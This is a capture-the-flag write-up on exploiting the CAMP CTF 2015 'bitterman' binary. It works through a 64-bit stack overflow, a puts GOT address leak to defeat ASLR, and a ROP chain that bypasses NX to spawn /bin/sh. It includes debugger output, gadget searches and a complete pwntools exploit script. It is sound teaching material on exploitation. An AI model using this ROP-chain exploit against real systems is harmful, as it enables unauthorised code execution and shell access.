Exploiting ASLR and NX
For this topic I went with bitterman challenge from CAMP CTF 2015 https://archive.aachen.ccc.de/campctf.ccc.ac/challenges/
IDA
Opening bitterman in IDA I see local variables for main, and the function prologue making space for what seems like a stack buffer
The space allocated for local variables is 0xB0 (176 bytes). argv
and argc
are at 0xB0 and 0xA4 respectively.
This means that the local variables are:
nbytes
at 0x98, likely an intbuf
at 0x90username
at 0x50
Next I check where those variables are used.
Each one is passed in as a parameter in one of the two calls to read_nbytes()
. Looks like buf
and username are likely character arrays. I skimmed read_bytes
and it appeared to do what it’s named.
checksec
Next up is to determine exactly what security protections are in place.
devel@kub:~/challenges/bitterman$ checksec --file ./bitterman
[*] '/home/devel/challenges/bitterman/bitterman'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
devel@kub:~/challenges/bitterman$ cat /proc/sys/kernel/randomize_va_space
2
We know that DEP is enabled and so is ASLR.
DEP can be defeated with ROP. ASLR needs an info leak to defeat.
Buffer Overflow
The first step in any buffer overflow is find the size of the overflow. I’ve just switched from PEDA to pwndbg, and installed pwntools for this challenege.
I start gdb on the bitterman binary. First step is to make a pattern big enough to guarantee an overflow. 0xB0 is 176 bytes, so I’ll make a pattern of 500 bytes just to be sure. I also need to make it 8bytes long for 64 bit addresses
pwndbg> cyclic -n8 500
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
Next I copy the pattern and run the binary. I know from the IDA analysis that the username is always a max of 0x40 (64) bytes, but I can input whatever I want for the message length. Makes sense to try that buffer first.
pwndbg> r
> What's your name?
> Hi, A
> Please input the length of your message
500
> Please enter your text:
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
> Thanks
Program received signal SIGSEGV, Segmentation fault.
64 bit doesn’t allow direct manipulation of RIP, so I need to look at RSP to see if I control that
0x00000000004007e1 in main (argc=1, argv=0x7fffffffe038) at main.c:28
28 main.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]────────────────────────────
RAX 0x0
RBX 0x4007f0 (__libc_csu_init) ◂— push r15
RCX 0x7ffff7ed11e7 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x0
RDI 0x7ffff7fae4c0 (_IO_stdfile_1_lock) ◂— 0x0
RSI 0x0
R8 0x0
R9 0x0
R10 0x7ffff7f5eac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x246
R12 0x400590 (_start) ◂— xor ebp, ebp
R13 0x7fffffffe030 ◂— 0x6261616161616178 ('xaaaaaab')
R14 0x0
R15 0x0
RBP 0x6161616161616173 ('saaaaaaa')
RSP 0x7fffffffdf48 ◂— 0x6161616161616174 ('taaaaaaa')
RIP 0x4007e1 (main+245) ◂— ret
RSP contains the string taaaaaaa
. Now to find where that is in the pattern.
pwndbg> cyclic -n8 -l taaaaaaa
152
The offset occurs 152 bytes in. I can confirm this by looking at the local variables and seeing that the first one, nbytes
, starts at 0x98 which is 152 in decimal.
Introducing a leak with ROP
NX is enabled so I need to use ROP to make leak an address. I need to know what libraries are loaded.
devel@kub:~/challenges/bitterman$ ldd bitterman
linux-vdso.so.1 (0x00007ffdd2975000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9e0960f000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9e0981a000)
This binary requires libc, so that’s what I will leak an address from.
I know that puts has already been called by the time I can send input. I will leak the address of puts.
To do this I need a few things
- A known location wwhere the
puts
address will be. I can get this from the GOT entry since I know it’s already been called and thus filled in. - A pointer to the function
puts
, BEFORE the leak. I can use the PLT entry for this puts
requires something to print. The first parameter in 64 bit linux is the RDI register. I need a ROP gadget to put something in RDI from the stack- The address of main so that I can “restart” the binary without invoking ASLR
I can grab the GOT and PLT addresses with objdump. I also put the syntax in Intel mode because it’s easier to read for me.
devel@kub:~/challenges/bitterman$ objdump -D bitterman -M intel | grep puts
0000000000400520 <puts@plt>:
400520: ff 25 2a 07 20 00 jmp QWORD PTR [rip+0x20072a] # 600c50 <puts@GLIBC_2.2.5>
400709: e8 12 fe ff ff call 400520 <puts@plt>
40074f: e8 cc fd ff ff call 400520 <puts@plt>
400781: e8 9a fd ff ff call 400520 <puts@plt>
4007c7: e8 54 fd ff ff call 400520 <puts@plt>
To find a ROP gadget, I used ropper
devel@kub:~/challenges/bitterman$ ropper --file bitterman --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: bitterman
0x0000000000400853: pop rdi; ret;
devel@kub:~/challenges/bitterman$ readelf -s ./bitterman | grep main
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.2.5 (2)
42: 0000000000000000 0 FILE LOCAL DEFAULT ABS main.c
61: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
71: 00000000004006ec 246 FUNC GLOBAL DEFAULT 13 main
Offset Math
Once I get the leaked address, I’ll have to do math to find the base address of libc in memory. From there, I can simply add an offset for any symbol I want to access.
devel@kub:~/challenges/bitterman$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep puts
194: 00000000000875a0 476 FUNC GLOBAL DEFAULT 16 _IO_puts@@GLIBC_2.2.5
429: 00000000000875a0 476 FUNC WEAK DEFAULT 16 puts@@GLIBC_2.2.5
504: 00000000001273c0 1268 FUNC GLOBAL DEFAULT 16 putspent@@GLIBC_2.2.5
690: 0000000000129090 728 FUNC GLOBAL DEFAULT 16 putsgent@@GLIBC_2.10
1158: 0000000000085e60 384 FUNC WEAK DEFAULT 16 fputs@@GLIBC_2.2.5
1705: 0000000000085e60 384 FUNC GLOBAL DEFAULT 16 _IO_fputs@@GLIBC_2.2.5
2342: 00000000000914a0 159 FUNC WEAK DEFAULT 16 fputs_unlocked@@GLIBC_2.2.5
I can calculate the base address from the leak
leak_puts_addr - puts_offset = libc_base_addr_in_mem
ROP to shell
We can make use of the leaked address to setup a second ROP payload to execute system
devel@kub:~/challenges/bitterman$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep execve
1053: 00000000000e6320 299 FUNC GLOBAL DEFAULT 16 fexecve@@GLIBC_2.2.5
1517: 00000000000e62f0 37 FUNC WEAK DEFAULT 16 execve@@GLIBC_2.2.5
libc_base_addr_in_mem + execve_offset = execve_in_mem
devel@kub:~/challenges/bitterman$ strings -t x -a /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
1b75aa /bin/sh
pwntools and python
I can use pwntools to interact with the binary and perform pointer math.
.recv()[:8].strip().ljust(8, '\x00')
https://bufferoverflows.net/camp-ctf-2015-bitterman-write-up/
https://github.com/ctfs/write-ups-2015/tree/master/camp-ctf-2015/pwn/bitterman-300
#!/usr/bin/python3
from pwn import *
# Have to define context of exploit
context(os='linux', arch='amd64')
# First, we need to cause an information leak using ROP to defeat NX
# This can be accomplished by leaking an address in libc using the puts function call
# To do this we will print the address at the GOT entry for puts, by calling the PLT entry for puts.
puts_plt_addr = p64(0x400520)
puts_got_addr = p64(0x600c50)
gadget01 = p64(0x400853) #; pop rdi; ret
main = p64(0x4006ec)
bof = b'A'*152
payload = bof
payload += gadget01
payload += puts_got_addr
payload += puts_plt_addr
payload += main
# binary to exploit
proc = process('./bitterman')
# pwntools for interaction with process
proc.recvuntil("name?")
proc.sendline("A")
proc.recvuntil("message:")
proc.sendline("500")
proc.recvuntil("text:")
proc.sendline(payload) # EXPLOIT!
proc.recvuntil("Thanks!")
leaked = proc.recv()[:8].strip().ljust(8, b"\x00")
# Second we calculate the base of libc in memory
# and use it to make a ROP chain to run a shell
# apparently p64 is a wrapper around struct.pack() so we need correct types for math
leaked_puts= u64(leaked)
puts_offset = 0x875a0
execve_offset = 0xe62f0
binsh_str = 0x1b75aa
libc_base = leaked_puts - puts_offset
payload = bof
payload += gadget01
payload += p64(libc_base + binsh_str)
payload += p64(libc_base + execve_offset)
# binary waits for another name...
proc.sendline("A")
proc.recvuntil("message:")
proc.sendline("500")
proc.recvuntil("text:")
proc.sendline(payload) # EXPLOIT!
proc.interactive()